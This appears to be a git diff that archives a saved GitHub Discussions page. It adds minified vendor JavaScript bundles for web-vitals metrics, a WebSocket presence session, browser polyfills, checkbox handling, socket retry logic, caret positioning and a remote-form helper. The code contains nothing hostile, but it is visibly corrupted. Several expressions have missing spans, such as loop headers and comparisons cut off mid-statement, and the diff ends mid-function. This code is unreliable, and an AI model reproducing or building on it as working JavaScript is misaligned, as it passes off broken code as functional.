R(S){S.type!=="pagehide"&&document.visibilityState!=="hidden"||(P(S),T&&(removeEventListener("visibilitychange",R,!0),removeEventListener("pagehide",R,!0)))},"n");addEventListener("visibilitychange",A,!0),addEventListener("pagehide",A,!0)},"o"),n=i(function(P){addEventListener("pageshow",function(T){T.persisted&&P(T)},!0)},"u"),r=i(function(P,T,A){var R;return function(S){T.value>=0&&(S||A)&&(T.delta=T.value-(R||0),(T.delta||R===void 0)&&(R=T.value,P(T)))}},"c"),l=-1,u=i(function(){return document.visibilityState==="hidden"?0:1/0},"s"),a=i(function(){t(function(P){var T=P.timeStamp;l=T},!0)},"m"),s=i(function(){return l<0&&(l=u(),a(),n(function(){setTimeout(function(){l=u(),a()},0)})),{get firstHiddenTime(){return l}}},"v"),c=i(function(P,T){var A,R=s(),S=e("FCP"),F=i(function(H){H.name==="first-contentful-paint"&&(U&&U.disconnect(),H.startTime-1&&P(B)},"i"),S=e("CLS",0),F=0,D=[],U=i(function(B){if(!B.hadRecentInput){var re=D[0],G=D[D.length-1];F&&B.startTime-G.startTime<1e3&&B.startTime-re.startTime<5e3?(F+=B.value,D.push(B)):(F=B.value,D=[B]),F>S.value&&(S.value=F,S.entries=D,A())}},"v"),H=o("layout-shift",U);H&&(A=r(R,S,T),t(function(){H.takeRecords().map(U),A(!0)}),n(function(){F=0,d=-1,S=e("CLS",0),A=r(R,S,T)}))},"h"),g={passive:!0,capture:!0},w=new Date,x=i(function(P,T){b||(b=T,_=P,h=new Date,z(removeEventListener),I())},"g"),I=i(function(){if(_>=0&&_1e12?new Date:performance.now())-P.timeStamp;P.type=="pointerdown"?function(A,R){var S=i(function(){x(A,R),D()},"n"),F=i(function(){D()},"i"),D=i(function(){removeEventListener("pointerup",S,g),removeEventListener("pointercancel",F,g)},"r");addEventListener("pointerup",S,g),addEventListener("pointercancel",F,g)}(T,P):x(T,P)}},"S"),z=i(function(P){["mousedown","keydown","touchstart","pointerdown"].forEach(function(T){return P(T,$,g)})},"w"),X=i(function(P,T){var A,R=s(),S=e("FID"),F=i(function(U){U.startTimeperformance.now())return;A.entries=[R],P(A)}catch{}},"t"),document.readyState==="complete"?setTimeout(T,0):addEventListener("load",function(){return setTimeout(T,0)})},"P")},27907:(N,M,E)=>{"use strict";E.d(M,{a:()=>l});var b=E(81855),_=E(60835),h=E(16544),v=E(75658),e=E(80955),o=E(29871),t;(function(u){u.Deploy="Alive Redeploy",u.Reconnect="Alive Reconnect"})(t||(t={}));function n(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}_${Math.round(Date.now()/1e3)}`}i(n,"generatePresenceId");function r(u){const a=u.match(/\/u\/(\d+)\/ws/);return a?+a[1]:0}i(r,"getUserIdFromSocketUrl");class l{constructor(a,s,c,m){this.url=a,this.getUrl=s,this.inSharedWorker=c,this.notify=m,this.subscriptions=new v.v,this.state="online",this.retrying=null,this.connectionCount=0,this.presence=new b.k2,this.presenceMetadata=new _.a,this.intentionallyDisconnected=!1,this.lastCameOnline=0,this.userId=r(a),this.presenceId=n(),this.presenceKey=(0,b.Hw)(this.userId,this.presenceId),this.socket=this.connect()}subscribe(a){const s=this.subscriptions.add(...a);this.sendSubscribe(s);for(const c of a){const m=c.topic.name;!(0,b.A)(m)||this.notifyCachedPresence(c.subscriber,m)}}unsubscribe(a){const s=this.subscriptions.delete(...a);this.sendUnsubscribe(s)}unsubscribeAll(...a){const s=this.subscriptions.drain(...a);this.sendUnsubscribe(s);const c=this.presenceMetadata.removeSubscribers(a);this.sendPresenceMetadataUpdate(c)}requestPresence(a,s){for(const c of s)this.notifyCachedPresence(a,c)}notifyCachedPresence(a,s){const c=this.presence.getChannelItems(s);c.length!==0&&this.notifyPresenceChannel(s,c)}updatePresenceMetadata(a){const s=new Set;for(const c of a)this.presenceMetadata.setMetadata(c),s.add(c.channelName);this.sendPresenceMetadataUpdate(s)}sendPresenceMetadataUpdate(a){if(!a.size)return;const s=[];for(const c of a){const m=this.subscriptions.topic(c);m&&s.push(m)}this.sendSubscribe(s)}online(){var a;this.lastCameOnline=Date.now(),this.state="online",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.open()}offline(){var a;this.state="offline",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.close()}shutdown(){this.inSharedWorker&&self.close()}get reconnectWindow(){const a=Date.now()-this.lastCameOnline<6e4;return this.connectionCount===0||this.intentionallyDisconnected||a?0:10*1e3}socketDidOpen(){this.intentionallyDisconnected=!1,this.connectionCount++,this.socket.url=this.getUrlWithPresenceId(),this.sendSubscribe(this.subscriptions.topics())}socketDidClose(a,s,c){if(this.redeployEarlyReconnectTimeout!==void 0&&clearTimeout(this.redeployEarlyReconnectTimeout),c==="Alive Reconnect")this.intentionallyDisconnected=!0;else if(c==="Alive Redeploy"){this.intentionallyDisconnected=!0;const d=(3+Math.random()*22)*60*1e3;this.redeployEarlyReconnectTimeout=setTimeout(()=>{this.intentionallyDisconnected=!0,this.socket.close(1e3,"Alive Redeploy Early Client Reconnect")},d)}}socketDidFinish(){this.state!=="offline"&&this.reconnect()}socketDidReceiveMessage(a,s){const c=JSON.parse(s);switch(c.e){case"ack":{this.handleAck(c);break}case"msg":{this.handleMessage(c);break}}}handleAck(a){for(const s of this.subscriptions.topics())s.offset=a.off}handleMessage(a){const s=a.ch,c=this.subscriptions.topic(s);if(!!c){if(c.offset=a.off,"e"in a.data){const m=this.presence.handleMessage(s,a.data);this.notifyPresenceChannel(s,m);return}a.data.wait||(a.data.wait=0),this.notify(this.subscriptions.subscribers(s),{channel:s,type:"message",data:a.data})}}notifyPresenceChannel(a,s){var c,m;const d=new Map;for(const p of s){const{userId:g,metadata:w,presenceKey:x}=p,I=d.get(g)||{userId:g,isOwnUser:g===this.userId,metadata:[]};if(x!==this.presenceKey){for(const $ of w){if(_.Z in $){I.isIdle!==!1&&(I.isIdle=Boolean($[_.Z]));continue}I.metadata.push($)}d.set(g,I)}}for(const p of this.subscriptions.subscribers(a)){const g=this.userId,w=Array.from(d.values()).filter($=>$.userId!==g),x=(m=(c=d.get(this.userId))===null||c===void 0?void 0:c.metadata)!==null&&m!==void 0?m:[],I=this.presenceMetadata.getChannelMetadata(a,{subscriber:p,markAllAsLocal:!this.inSharedWorker});this.notify([p],{channel:a,type:"presence",data:[{userId:g,isOwnUser:!0,metadata:[...x,...I]},...w]})}}async reconnect(){if(!this.retrying)try{this.retrying=new AbortController;const a=await(0,o.X)(this.getUrl,1/0,6e4,this.retrying.signal);a?(this.url=a,this.socket=this.connect()):this.shutdown()}catch(a){if(a.name!=="AbortError")throw a}finally{this.retrying=null}}getUrlWithPresenceId(){const a=new URL(this.url,self.location.origin);return a.searchParams.set("shared",this.inSharedWorker.toString()),a.searchParams.set("p",`${this.presenceId}.${this.connectionCount}`),a.toString()}connect(){const a=new h.Oo(this.getUrlWithPresenceId(),this,{timeout:4e3,attempts:7});return a.open(),a}sendSubscribe(a){const s=Array.from(a);for(const c of(0,e.o)(s,25)){const m={};for(const d of c)(0,b.A)(d.name)?m[d.signed]=JSON.stringify(this.presenceMetadata.getChannelMetadata(d.name)):m[d.signed]=d.offset;this.socket.send(JSON.stringify({subscribe:m}))}}sendUnsubscribe(a){const s=Array.from(a,c=>c.signed);for(const c of(0,e.o)(s,25))this.socket.send(JSON.stringify({unsubscribe:c}));for(const c of a)(0,b.A)(c.name)&&this.presence.clearChannel(c.name)}}i(l,"AliveSession")},29871:(N,M,E)=>{"use strict";E.d(M,{X:()=>v});function b(e){return new Promise((o,t)=>{const n=new Error("aborted");n.name="AbortError",e.aborted?t(n):e.addEventListener("abort",()=>t(n))})}i(b,"whenAborted");async function _(e,o){let t;const n=new Promise(r=>{t=self.setTimeout(r,e)});if(!o)return n;try{await Promise.race([n,b(o)])}catch(r){throw self.clearTimeout(t),r}}i(_,"wait");function h(e){return Math.floor(Math.random()*Math.floor(e))}i(h,"rand");async function v(e,o,t=1/0,n){const r=n?b(n):null;for(let l=0;l{"use strict";E.d(M,{A:()=>h.A,ZE:()=>_.Z,Zf:()=>e.Z,a2:()=>b.a,ah:()=>_.a,vk:()=>v.v});var b=E(27907),_=E(60835),h=E(81855),v=E(75658),e=E(72993)},80955:(N,M,E)=>{"use strict";E.d(M,{o:()=>b});function*b(_,h){for(let v=0;v<_.length;v+=h)yield _.slice(v,v+h)}i(b,"eachSlice")},60835:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b,a:()=>v});const b="_i";function _(e){return Object.assign(Object.assign({},e),{isLocal:!0})}i(_,"markMetadataAsLocal");class h{constructor(){this.subscriberMetadata=new Map}setMetadata(o,t){this.subscriberMetadata.set(o,t)}removeSubscribers(o){let t=!1;for(const n of o)t=this.subscriberMetadata.delete(n)||t;return t}getMetadata(o){if(!o){const l=[];let u;for(const a of this.subscriberMetadata.values())for(const s of a)if(b in s){const c=Boolean(s[b]);u=u===void 0?c:c&&u}else l.push(s);return u!==void 0&&l.push({[b]:u?1:0}),l}const t=[],{subscriber:n,markAllAsLocal:r}=o;for(const[l,u]of this.subscriberMetadata){const s=r||l===n?u.map(_):u;t.push(...s)}return t}hasSubscribers(){return this.subscriberMetadata.size>0}}i(h,"PresenceMetadataForChannel");class v{constructor(){this.metadataByChannel=new Map}setMetadata({subscriber:o,channelName:t,metadata:n}){let r=this.metadataByChannel.get(t);r||(r=new h,this.metadataByChannel.set(t,r)),r.setMetadata(o,n)}removeSubscribers(o){const t=new Set;for(const[n,r]of this.metadataByChannel)r.removeSubscribers(o)&&t.add(n),r.hasSubscribers()||this.metadataByChannel.delete(n);return t}getChannelMetadata(o,t){const n=this.metadataByChannel.get(o);return(n==null?void 0:n.getMetadata(t))||[]}}i(v,"PresenceMetadataSet")},81855:(N,M,E)=>{"use strict";E.d(M,{A:()=>v,Hw:()=>b,k2:()=>o});function b(t,n){return`${t}:${n}`}i(b,"getPresenceKey");function _(t){const[n,r]=t.p.split(".");return{userId:t.u,presenceKey:b(t.u,n),connectionCount:Number(r),metadata:t.m||[]}}i(_,"decompressItem");const h="presence-";function v(t){return t.startsWith(h)}i(v,"isPresenceChannel");class e{constructor(){this.presenceItems=new Map}shouldUsePresenceItem(n){const r=this.presenceItems.get(n.presenceKey);return!r||r.connectionCount<=n.connectionCount}addPresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.set(n.presenceKey,n)}removePresenceItem(n){!this.shouldUsePresenceItem(n)||this.presenceItems.delete(n.presenceKey)}replacePresenceItems(n){this.presenceItems.clear();for(const r of n)this.addPresenceItem(r)}getPresenceItems(){return Array.from(this.presenceItems.values())}}i(e,"PresenceChannel");class o{constructor(){this.presenceChannels=new Map}getPresenceChannel(n){const r=this.presenceChannels.get(n)||new e;return this.presenceChannels.set(n,r),r}handleMessage(n,r){const l=this.getPresenceChannel(n);switch(r.e){case"pf":l.replacePresenceItems(r.d.map(_));break;case"pa":l.addPresenceItem(_(r.d));break;case"pr":l.removePresenceItem(_(r.d));break}return this.getChannelItems(n)}getChannelItems(n){return this.getPresenceChannel(n).getPresenceItems()}clearChannel(n){this.presenceChannels.delete(n)}}i(o,"AlivePresence")},75658:(N,M,E)=>{"use strict";E.d(M,{v:()=>_});var b=E(61268);class _{constructor(){this.subscriptions=new b.Z,this.signatures=new Map}add(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.has(t.name)||(e.push(t),this.signatures.set(t.name,t)),this.subscriptions.set(t.name,o);return e}delete(...v){const e=[];for(const{subscriber:o,topic:t}of v)this.subscriptions.delete(t.name,o)&&!this.subscriptions.has(t.name)&&(e.push(t),this.signatures.delete(t.name));return e}drain(...v){const e=[];for(const o of v)for(const t of this.subscriptions.drain(o)){const n=this.signatures.get(t);this.signatures.delete(t),e.push(n)}return e}topics(){return this.signatures.values()}topic(v){return this.signatures.get(v)||null}subscribers(v){return this.subscriptions.get(v).values()}}i(_,"SubscriptionSet")},72993:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h,v){this.name=h,this.signed=v,this.offset=""}static parse(h){const[v,e]=h.split("--");if(!v||!e)return null;const o=JSON.parse(atob(v));return!o.c||!o.t?null:new b(o.c,h)}}i(b,"Topic")},50232:(N,M,E)=>{"use strict";E.d(M,{nn:()=>ue,Gb:()=>ae});function b(L){const j=new AbortController;return j.abort(L),j.signal}i(b,"abortsignal_abort_abortSignalAbort");function _(){return"abort"in AbortSignal&&typeof AbortSignal.abort=="function"}i(_,"isSupported");function h(){return AbortSignal.abort===b}i(h,"isPolyfilled");function v(){_()||(AbortSignal.abort=b)}i(v,"apply");function e(L){const j=new AbortController;return setTimeout(()=>j.abort(new DOMException("TimeoutError")),L),j.signal}i(e,"abortsignal_timeout_abortSignalTimeout");function o(){return"abort"in AbortSignal&&typeof AbortSignal.timeout=="function"}i(o,"abortsignal_timeout_isSupported");function t(){return AbortSignal.timeout===e}i(t,"abortsignal_timeout_isPolyfilled");function n(){o()||(AbortSignal.timeout=e)}i(n,"abortsignal_timeout_apply");class r extends Error{constructor(j,W,K={}){super(W);Object.defineProperty(this,"errors",{value:Array.from(j),configurable:!0,writable:!0}),K.cause&&Object.defineProperty(this,"cause",{value:K.cause,configurable:!0,writable:!0})}}i(r,"AggregateError");function l(){return typeof globalThis.AggregateError=="function"}i(l,"aggregateerror_isSupported");function u(){return globalThis.AggregateError===r}i(u,"aggregateerror_isPolyfilled");function a(){l()||(globalThis.AggregateError=r)}i(a,"aggregateerror_apply");const s=Reflect.getPrototypeOf(Int8Array)||{};function c(L){const j=this.length;return L=Math.trunc(L)||0,L<0&&(L+=j),L<0||L>=j?void 0:this[L]}i(c,"arrayLikeAt");function m(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in s&&typeof s.at=="function"}i(m,"arraylike_at_isSupported");function d(){return Array.prototype.at===c&&String.prototype.at===c&&s.at===c}i(d,"arraylike_at_isPolyfilled");function p(){if(!m()){const L={value:c,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",L),Object.defineProperty(String.prototype,"at",L),Object.defineProperty(s,"at",L)}}i(p,"arraylike_at_apply");function g(){const L=new Uint32Array(4);crypto.getRandomValues(L);let j=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(W){j++;const K=L[j>>3]>>j%8*4&15;return(W==="x"?K:K&3|8).toString(16)})}i(g,"randomUUID");function w(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}i(w,"crypto_randomuuid_isSupported");function x(){return w()&&crypto.randomUUID===g}i(x,"crypto_randomuuid_isPolyfilled");function I(){w()||(crypto.randomUUID=g)}i(I,"crypto_randomuuid_apply");const $=EventTarget.prototype.addEventListener;function z(L,j,W){if(typeof W=="object"&&"signal"in W&&W.signal instanceof AbortSignal){if(W.signal.aborted)return;$.call(W.signal,"abort",()=>{this.removeEventListener(L,j,W)})}return $.call(this,L,j,W)}i(z,"addEventListenerWithAbortSignal");function X(){let L=!1;const j=i(()=>L=!0,"setSignalSupported");function W(){}i(W,"noop");const K=Object.create({},{signal:{get:j}});try{const V=new EventTarget;return V.addEventListener("test",W,K),V.removeEventListener("test",W,K),L}catch{return L}}i(X,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===z}i(ee,"event_abortsignal_isPolyfilled");function te(){typeof AbortSignal=="function"&&!X()&&(EventTarget.prototype.addEventListener=z)}i(te,"event_abortsignal_apply");const ne=Object.prototype.hasOwnProperty;function P(L,j){if(L==null)throw new TypeError("Cannot convert undefined or null to object");return ne.call(Object(L),j)}i(P,"object_hasown_objectHasOwn");function T(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}i(T,"object_hasown_isSupported");function A(){return Object.hasOwn===P}i(A,"object_hasown_isPolyfilled");function R(){T()||Object.defineProperty(Object,"hasOwn",{value:P,configurable:!0,writable:!0})}i(R,"object_hasown_apply");function S(L){return new Promise((j,W)=>{let K=!1;const V=Array.from(L),oe=[];function f(k){K||(K=!0,j(k))}i(f,"resolveOne");function y(k){oe.push(k),oe.length===V.length&&W(new globalThis.AggregateError(oe,"All Promises rejected"))}i(y,"rejectIfDone");for(const k of V)Promise.resolve(k).then(f,y)})}i(S,"promise_any_promiseAny");function F(){return"any"in Promise&&typeof Promise.any=="function"}i(F,"promise_any_isSupported");function D(){return Promise.all===S}i(D,"promise_any_isPolyfilled");function U(){F()||(Promise.any=S)}i(U,"promise_any_apply");const H=50;function B(L,j={}){const W=Date.now(),K=j.timeout||0,V=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,H-(Date.now()-W))}},"didTimeout",{get(){return Date.now()-W>K}});return window.setTimeout(()=>{L(V)})}i(B,"requestidlecallback_requestIdleCallback");function re(L){clearTimeout(L)}i(re,"cancelIdleCallback");function G(){return typeof globalThis.requestIdleCallback=="function"}i(G,"requestidlecallback_isSupported");function ce(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===re}i(ce,"requestidlecallback_isPolyfilled");function ie(){G()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=re)}i(ie,"requestidlecallback_apply");const le=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function ae(){return le&&_()&&o()&&l()&&m()&&w()&&X()&&T()&&F()&&G()}i(ae,"lib_isSupported");function de(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}i(de,"lib_isPolyfilled");function ue(){v(),n(),a(),p(),I(),te(),R(),U(),ie()}i(ue,"lib_apply")},58797:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});function b(_){let h=!1,v=null;_.addEventListener("mousedown",n),_.addEventListener("change",o);function e(u,a,s,c=!1){a instanceof HTMLInputElement&&(a.indeterminate=c,a.checked!==s&&(a.checked=s,setTimeout(()=>{const m=new CustomEvent("change",{bubbles:!0,cancelable:!1,detail:{relatedTarget:u}});a.dispatchEvent(m)})))}i(e,"setChecked");function o(u){const a=u.target;a instanceof Element&&(a.hasAttribute("data-check-all")?t(u):a.hasAttribute("data-check-all-item")&&r(u))}i(o,"onChange");function t(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:s}=u.detail;if(s&&s.hasAttribute("data-check-all-item"))return}const a=u.target;if(a instanceof HTMLInputElement){v=null;for(const s of _.querySelectorAll("[data-check-all-item]"))e(a,s,a.checked);a.indeterminate=!1,l()}}i(t,"onCheckAll");function n(u){if(!(u.target instanceof Element))return;(u.target instanceof HTMLLabelElement&&u.target.control||u.target).hasAttribute("data-check-all-item")&&(h=u.shiftKey)}i(n,"onMouseDown");function r(u){if(u instanceof CustomEvent&&u.detail){const{relatedTarget:m}=u.detail;if(m&&(m.hasAttribute("data-check-all")||m.hasAttribute("data-check-all-item")))return}const a=u.target;if(!(a instanceof HTMLInputElement))return;const s=Array.from(_.querySelectorAll("[data-check-all-item]"));if(h&&v){const[m,d]=[s.indexOf(v),s.indexOf(a)].sort();for(const p of s.slice(m,+d+1||9e9))e(a,p,a.checked)}h=!1,v=a;const c=_.querySelector("[data-check-all]");if(c){const m=s.length,d=s.filter(w=>w instanceof HTMLInputElement&&w.checked).length,p=d===m,g=m>d&&d>0;e(a,c,p,g)}l()}i(r,"onCheckAllItem");function l(){const u=_.querySelector("[data-check-all-count]");if(u){const a=_.querySelectorAll("[data-check-all-item]:checked").length;u.textContent=a.toString()}}return i(l,"updateCount"),{unsubscribe:()=>{_.removeEventListener("mousedown",n),_.removeEventListener("change",o)}}}i(b,"subscribe")},15205:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(...h){return JSON.stringify(h,(v,e)=>typeof e=="object"?e:String(e))}i(b,"defaultHash");function _(h,v={}){const{hash:e=b,cache:o=new Map}=v;return function(...t){const n=e.apply(this,t);if(o.has(n))return o.get(n);let r=h.apply(this,t);return r instanceof Promise&&(r=r.catch(l=>{throw o.delete(n),l})),o.set(n,r),r}}i(_,"memoize")},61268:(N,M,E)=>{"use strict";E.d(M,{Z:()=>b});class b{constructor(h){if(this.map=new Map,h)for(const[v,e]of h)this.set(v,e)}get(h){const v=this.map.get(h);return v||new Set}set(h,v){let e=this.map.get(h);return e||(e=new Set,this.map.set(h,e)),e.add(v),this}has(h){return this.map.has(h)}delete(h,v){const e=this.map.get(h);if(!e)return!1;if(!v)return this.map.delete(h);const o=e.delete(v);return e.size||this.map.delete(h),o}drain(h){const v=[];for(const e of this.keys())this.delete(e,h)&&!this.has(e)&&v.push(e);return v}keys(){return this.map.keys()}values(){return this.map.values()}entries(){return this.map.entries()}[Symbol.iterator](){return this.entries()}clear(){this.map.clear()}get size(){return this.map.size}}i(b,"MultiMap")},16544:(N,M,E)=>{"use strict";E.d(M,{Oo:()=>l});async function b(d,p){let g;const w=new Promise((x,I)=>{g=self.setTimeout(()=>I(new Error("timeout")),d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(b,"timeout");async function _(d,p){let g;const w=new Promise(x=>{g=self.setTimeout(x,d)});if(!p)return w;try{await Promise.race([w,v(p)])}catch(x){throw self.clearTimeout(g),x}}i(_,"wait");async function h(d,p,g=1/0,w){const x=w?v(w):null;for(let I=0;I{const w=new Error("aborted");w.name="AbortError",d.aborted?g(w):d.addEventListener("abort",()=>g(w))})}i(v,"whenAborted");function e(d){return Math.floor(Math.random()*Math.floor(d))}i(e,"rand");async function o(d,p,g){const w=new WebSocket(d),x=r(w);try{return await Promise.race([x,b(p,g)]),w}catch(I){throw t(x),I}}i(o,"connect");async function t(d){try{(await d).close()}catch{}}i(t,"shutdown");function n(d,p){return h(i(()=>o(d,p.timeout,p.signal),"fn"),p.attempts,p.maxDelay,p.signal)}i(n,"connectWithRetry");function r(d){return new Promise((p,g)=>{d.readyState===WebSocket.OPEN?p(d):(d.onerror=()=>{d.onerror=null,d.onopen=null,g(new Error("connect failed"))},d.onopen=()=>{d.onerror=null,d.onopen=null,p(d)})})}i(r,"whenOpen");class l{constructor(p,g,w){this.socket=null,this.opening=null,this.url=p,this.delegate=g,this.policy=w}async open(){if(this.opening||this.socket)return;this.opening=new AbortController;const p=Object.assign(Object.assign({},this.policy),{signal:this.opening.signal});try{this.socket=await n(this.url,p)}catch{this.delegate.socketDidFinish(this);return}finally{this.opening=null}this.socket.onclose=g=>{this.socket=null,this.delegate.socketDidClose(this,g.code,g.reason),(this.delegate.socketShouldRetry?!this.delegate.socketShouldRetry(this,g.code):a(g.code))?this.delegate.socketDidFinish(this):setTimeout(()=>this.open(),u(100,100+(this.delegate.reconnectWindow||50)))},this.socket.onmessage=g=>{this.delegate.socketDidReceiveMessage(this,g.data)},this.delegate.socketDidOpen(this)}close(p,g){this.opening?(this.opening.abort(),this.opening=null):this.socket&&(this.socket.onclose=null,this.socket.close(p,g),this.socket=null,this.delegate.socketDidClose(this,p,g),this.delegate.socketDidFinish(this))}send(p){this.socket&&this.socket.send(p)}isOpen(){return!!this.socket}}i(l,"StableSocket");function u(d,p){return Math.random()*(p-d)+d}i(u,"rand$1");function a(d){return d===s||d===c}i(a,"isFatal");const s=1008,c=1011;class m{constructor(p){this.buf=[],this.socket=p,this.delegate=p.delegate,p.delegate=this}open(){return this.socket.open()}close(p,g){this.socket.close(p,g)}send(p){this.socket.isOpen()?(this.flush(),this.socket.send(p)):this.buf.push(p)}isOpen(){return this.socket.isOpen()}flush(){for(const p of this.buf)this.socket.send(p);this.buf.length=0}socketDidOpen(p){this.flush(),this.delegate.socketDidOpen(p)}socketDidClose(p,g,w){this.delegate.socketDidClose(p,g,w)}socketDidFinish(p){this.delegate.socketDidFinish(p)}socketDidReceiveMessage(p,g){this.delegate.socketDidReceiveMessage(p,g)}socketShouldRetry(p,g){return this.delegate.socketShouldRetry?this.delegate.socketShouldRetry(p,g):!a(g)}}i(m,"BufferedSocket")},89900:(N,M,E)=>{"use strict";E.d(M,{Z:()=>v});const b=["direction","boxSizing","width","height","overflowX","overflowY","borderTopWidth","borderRightWidth","borderBottomWidth","borderLeftWidth","borderStyle","paddingTop","paddingRight","paddingBottom","paddingLeft","fontStyle","fontVariant","fontWeight","fontStretch","fontSize","fontSizeAdjust","lineHeight","fontFamily","textAlign","textTransform","textIndent","textDecoration","letterSpacing","wordSpacing","tabSize","MozTabSize"],h=typeof window!="undefined"&&window.mozInnerScreenX!=null;function v(e,o,t){const n=t&&t.debug||!1;if(n){const m=document.querySelector("#input-textarea-caret-position-mirror-div");m&&m.parentNode.removeChild(m)}const r=document.createElement("div");r.id="input-textarea-caret-position-mirror-div",document.body.appendChild(r);const l=r.style,u=window.getComputedStyle?window.getComputedStyle(e):e.currentStyle,a=e.nodeName==="INPUT";l.whiteSpace="pre-wrap",a||(l.wordWrap="break-word"),l.position="absolute",n||(l.visibility="hidden");for(const m of b)if(a&&m==="lineHeight")if(u.boxSizing==="border-box"){const d=parseInt(u.height),p=parseInt(u.paddingTop)+parseInt(u.paddingBottom)+parseInt(u.borderTopWidth)+parseInt(u.borderBottomWidth),g=p+parseInt(u.lineHeight);d>g?l.lineHeight=`${d-p}px`:d===g?l.lineHeight=u.lineHeight:l.lineHeight=0}else l.lineHeight=u.height;else if(!a&&m==="width"&&u.boxSizing==="border-box"){let d=parseFloat(u.borderLeftWidth)+parseFloat(u.borderRightWidth),p=h?parseFloat(u[m])-d:e.clientWidth+d;l[m]=`${p}px`}else l[m]=u[m];h?e.scrollHeight>parseInt(u.height)&&(l.overflowY="scroll"):l.overflow="hidden",r.textContent=e.value.substring(0,o),a&&(r.textContent=r.textContent.replace(/\s/g,"\xA0"));const s=document.createElement("span");s.textContent=e.value.substring(o)||".",r.appendChild(s);const c={top:s.offsetTop+parseInt(u.borderTopWidth),left:s.offsetLeft+parseInt(u.borderLeftWidth),height:parseInt(u.lineHeight)};return n?s.style.backgroundColor="#aaa":document.body.removeChild(r),c}i(v,"getCaretCoordinates")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537-40f081c90ea1.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js new file mode 100644 index 0000000..7337406 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var j=Object.defineProperty;var n=(M,C)=>j(M,"name",{value:C,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3"],{65935:(M,C,$)=>{$.d(C,{AC:()=>T,rK:()=>S,uT:()=>f});function _(s,r){const c=s.createElement("template");return c.innerHTML=r,s.importNode(c.content,!0)}n(_,"parseHTML");function x(s){const r=new URLSearchParams,c=new FormData(s).entries();for(const[b,h]of[...c])r.append(b,h.toString());return r.toString()}n(x,"serialize");class i extends Error{constructor(r,c){super(r);this.response=c}}n(i,"ErrorWithResponse");function g(){let s,r;return[new Promise(function(b,h){s=b,r=h}),s,r]}n(g,"makeDeferred");let m;const v=[],d=[];function f(s){v.push(s)}n(f,"afterRemote");function S(s){d.push(s)}n(S,"beforeRemote");function T(s,r){m||(m=new Map,document.addEventListener("submit",O));const c=m.get(s)||[];m.set(s,[...c,r])}n(T,"remoteForm");function q(s,r){if(m){const c=m.get(s)||[];m.set(s,c.filter(b=>b!==r))}}n(q,"remoteUninstall");function N(s){const r=[];for(const c of m.keys())if(s.matches(c)){const b=m.get(c)||[];r.push(...b)}return r}n(N,"getMatches");function O(s){if(!(s.target instanceof HTMLFormElement)||s.defaultPrevented)return;const r=s.target,c=N(r);if(c.length===0)return;const b=P(r),[h,A,E]=g();s.preventDefault(),L(c,r,b,h).then(async a=>{if(a){for(const l of d)await l(r);R(b).then(A,E).catch(()=>{}).then(()=>{for(const l of v)l(r)})}else r.submit()},a=>{r.submit(),setTimeout(()=>{throw a})})}n(O,"handleSubmit");async function L(s,r,c,b){let h=!1;for(const A of s){const[E,a]=g(),l=n(()=>(h=!0,a(),b),"kick"),w={text:l,json:()=>(c.headers.set("Accept","application/json"),l()),html:()=>(c.headers.set("Accept","text/html"),l())};await Promise.race([E,A(r,w,c)])}return h}n(L,"processHandlers");function P(s){const r={method:s.method||"GET",url:s.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(r.method.toUpperCase()==="GET"){const c=x(s);c&&(r.url+=(~r.url.indexOf("?")?"&":"?")+c)}else r.body=new FormData(s);return r}n(P,"buildRequest");async function R(s){const r=await window.fetch(s.url,{method:s.method,body:s.body!==null?s.body:void 